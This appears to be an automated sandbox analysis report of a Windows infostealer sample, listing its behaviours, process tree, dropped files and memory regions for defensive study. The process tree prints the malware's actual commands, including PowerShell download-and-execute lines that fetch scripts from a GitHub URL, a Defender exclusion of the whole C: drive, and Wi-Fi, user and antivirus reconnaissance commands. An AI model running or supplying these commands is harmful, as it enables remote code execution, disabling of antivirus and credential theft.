Analysis

  • max time kernel
    146s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/10/2024, 16:24

General

  • Target
    2024-10-14_5caf8a4e165d0ede23ca16c1954e6e4e_poet-rat_snatch.exe
  • Size 9.8MB
  • Sample241014-twpfwaybll
  • SHA256 889fcffb92c1e52ec1ed263476298bf0dee82c5dddbcf0e5e0c9e6c42cfd55b0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • System Network Connections Discovery 1 TTPs 1 IoCs

    Attempt to get a listing of network connections.

  • Gathers network information 2 TTPs 3 IoCs

    Uses commandline utility to view network configuration.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-10-14_5caf8a4e165d0ede23ca16c1954e6e4e_poet-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-10-14_5caf8a4e165d0ede23ca16c1954e6e4e_poet-rat_snatch.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3564
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/SysInfo.ps1')|iex"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:512
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jgjncxzu\jgjncxzu.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2704
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA018.tmp" "c:\Users\Admin\AppData\Local\Temp\jgjncxzu\CSC5F8FF8BDA1D5430283B89463EDD5E7FE.TMP"
          4⤵
            PID:2440
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" wlan show profiles
          3⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Network Configuration Discovery: Wi-Fi Discovery
          PID:4448
        • C:\Windows\system32\net.exe
          "C:\Windows\system32\net.exe" localgroup administrators
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4088
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup administrators
            4⤵
              PID:896
          • C:\Windows\system32\netsh.exe
            "C:\Windows\system32\netsh.exe" advfirewall show allprofiles
            3⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:1000
          • C:\Windows\system32\whoami.exe
            "C:\Windows\system32\whoami.exe" /all
            3⤵
              PID:3980
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4552
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:5064
              • C:\Windows\system32\ipconfig.exe
                "C:\Windows\system32\ipconfig.exe" /displaydns
                3⤵
                • Gathers network information
                PID:4384
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1428
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup
                  4⤵
                    PID:2076
                • C:\Windows\System32\Wbem\WMIC.exe
                  "C:\Windows\System32\Wbem\WMIC.exe" startup get command caption
                  3⤵
                    PID:3468
                  • C:\Windows\system32\NETSTAT.EXE
                    "C:\Windows\system32\NETSTAT.EXE" -ano
                    3⤵
                    • System Network Connections Discovery
                    • Gathers network information
                    PID:840
                  • C:\Windows\System32\Wbem\WMIC.exe
                    "C:\Windows\System32\Wbem\WMIC.exe" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe
                    3⤵
                      PID:3300
                    • C:\Windows\system32\ipconfig.exe
                      "C:\Windows\system32\ipconfig.exe" /all
                      3⤵
                      • Gathers network information
                      PID:3844
                    • C:\Windows\system32\ROUTE.EXE
                      "C:\Windows\system32\ROUTE.EXE" print
                      3⤵
                        PID:1952
                      • C:\Windows\system32\ARP.EXE
                        "C:\Windows\system32\ARP.EXE" -a
                        3⤵
                        • Network Service Discovery
                        PID:4908
                      • C:\Windows\system32\netsh.exe
                        "C:\Windows\system32\netsh.exe" wlan show profile
                        3⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:2720
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -C "Add-MpPreference -ExclusionPath 'C:'"
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3580
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/defenderstuff.ps1')|iex"
                      2⤵
                      • Blocklisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5024

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        77EC63BDA74BD0D0E0426DC8F8008506

                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
                        • Size 328B
                        • SHA256 1d4504f378fd97b7d724ebb9180b7aa65ae154169e3f34305482682e61389a09
                        • MD5 SHA1 SHA512

                        powershell.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                        • Size 2KB
                        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 496B
                        • SHA256 c7f32431b109e2bc9bebeaacb7de276e3dd3b29bda7fbe231c99f8ade8f3df5c
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 ab51c217e9153dbcdf109ea319478d39cfbb825de7d60e565118d6168212baa8
                        • MD5 SHA1 SHA512

                        RESA018.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\RESA018.tmp
                        • Size 1KB
                        • SHA256 f824ce7f60dc61c4411bab9daa21a2d4742b358306fc14b4da53848405a6782c
                        • MD5 SHA1 SHA512

                        ThunderKitty.zip

                        • Path C:\Users\Admin\AppData\Local\Temp\ThunderKitty.zip
                        • Size 1.0MB
                        • SHA256 f49197794f11d9a8a397cd1562b607d09a45f0f6f63d3a8b25cbdad57060ffa7
                        • MD5 SHA1 SHA512 SSDEEP

                        UnprotectPublish.txt

                        • Path C:\Users\Admin\AppData\Local\Temp\ThunderKitty\SensitiveFiles\UnprotectPublish.txt
                        • Size 666KB
                        • SHA256 3aa567d6da5b7d9034b30d0751f89ee65cec66c4afe819d716201af70018776f
                        • MD5 SHA1 SHA512 SSDEEP

                        ThunderKitty-ScrapedCMDS.txt

                        • Path C:\Users\Admin\AppData\Local\Temp\ThunderKitty\SystemInfo\ThunderKitty-ScrapedCMDS.txt
                        • Size 22KB
                        • SHA256 3187b377e9e31d85343cc9898f481e393002dd2049b9b8dcfbf10443b87cc84b
                        • MD5 SHA1 SHA512 SSDEEP

                        __PSScriptPolicyTest_003t2c3l.sss.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_003t2c3l.sss.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512

                        jgjncxzu.dll

                        • Path C:\Users\Admin\AppData\Local\Temp\jgjncxzu\jgjncxzu.dll
                        • Size 4KB
                        • SHA256 cf65ac5e9f2d90573065e02d1b9d7279c4912dd9fadc80652a3f2d3963d7e70d
                        • MD5 SHA1 SHA512 SSDEEP

                        CSC5F8FF8BDA1D5430283B89463EDD5E7FE.TMP

                        • Path \??\c:\Users\Admin\AppData\Local\Temp\jgjncxzu\CSC5F8FF8BDA1D5430283B89463EDD5E7FE.TMP
                        • Size 652B
                        • SHA256 ec8dcb4e7bb95d61fa918ed88e9fae9251c3829b269720f6bfda98f16ba85cef
                        • MD5 SHA1 SHA512

                        jgjncxzu.0.cs

                        • Path \??\c:\Users\Admin\AppData\Local\Temp\jgjncxzu\jgjncxzu.0.cs
                        • Size 1KB
                        • SHA256 c379ac84c970f2055851b084c44575a5e4b5a70dc25f0acdd49aad306489b007
                        • MD5 SHA1 SHA512

                        jgjncxzu.cmdline

                        • Path \??\c:\Users\Admin\AppData\Local\Temp\jgjncxzu\jgjncxzu.cmdline
                        • Size 369B
                        • SHA256 83238b9fe446c0e5052ccdfca31525be8c1686d777ded65c2054c1285449da62
                        • MD5 SHA1 SHA512

                        memory/512-4-0x00007FF858790000-0x00007FF859251000-memory.dmp

                        memory/512-111-0x0000023073990000-0x000002307399A000-memory.dmp

                        memory/512-110-0x00000230739A0000-0x00000230739B2000-memory.dmp

                        memory/512-0-0x00007FF858793000-0x00007FF858795000-memory.dmp

                        memory/512-121-0x00007FF858790000-0x00007FF859251000-memory.dmp

                        memory/512-73-0x0000023070FB0000-0x0000023070FB8000-memory.dmp

                        memory/512-77-0x0000023073990000-0x00000230739BA000-memory.dmp

                        memory/512-78-0x0000023073990000-0x00000230739B4000-memory.dmp

                        memory/512-16-0x00007FF858790000-0x00007FF859251000-memory.dmp

                        memory/3580-26-0x00007FF858790000-0x00007FF859251000-memory.dmp

                        memory/3580-49-0x00007FF858790000-0x00007FF859251000-memory.dmp

                        memory/3580-56-0x00007FF858790000-0x00007FF859251000-memory.dmp

                        memory/3580-36-0x00007FF858790000-0x00007FF859251000-memory.dmp

                        memory/3580-14-0x0000019AF47C0000-0x0000019AF47E2000-memory.dmp

                        memory/5024-38-0x00007FF858790000-0x00007FF859251000-memory.dmp

                        memory/5024-60-0x00007FF858790000-0x00007FF859251000-memory.dmp

                        memory/5024-51-0x000002055E980000-0x000002055F126000-memory.dmp

                        memory/5024-50-0x00007FF858790000-0x00007FF859251000-memory.dmp

                        memory/5024-37-0x00007FF858790000-0x00007FF859251000-memory.dmp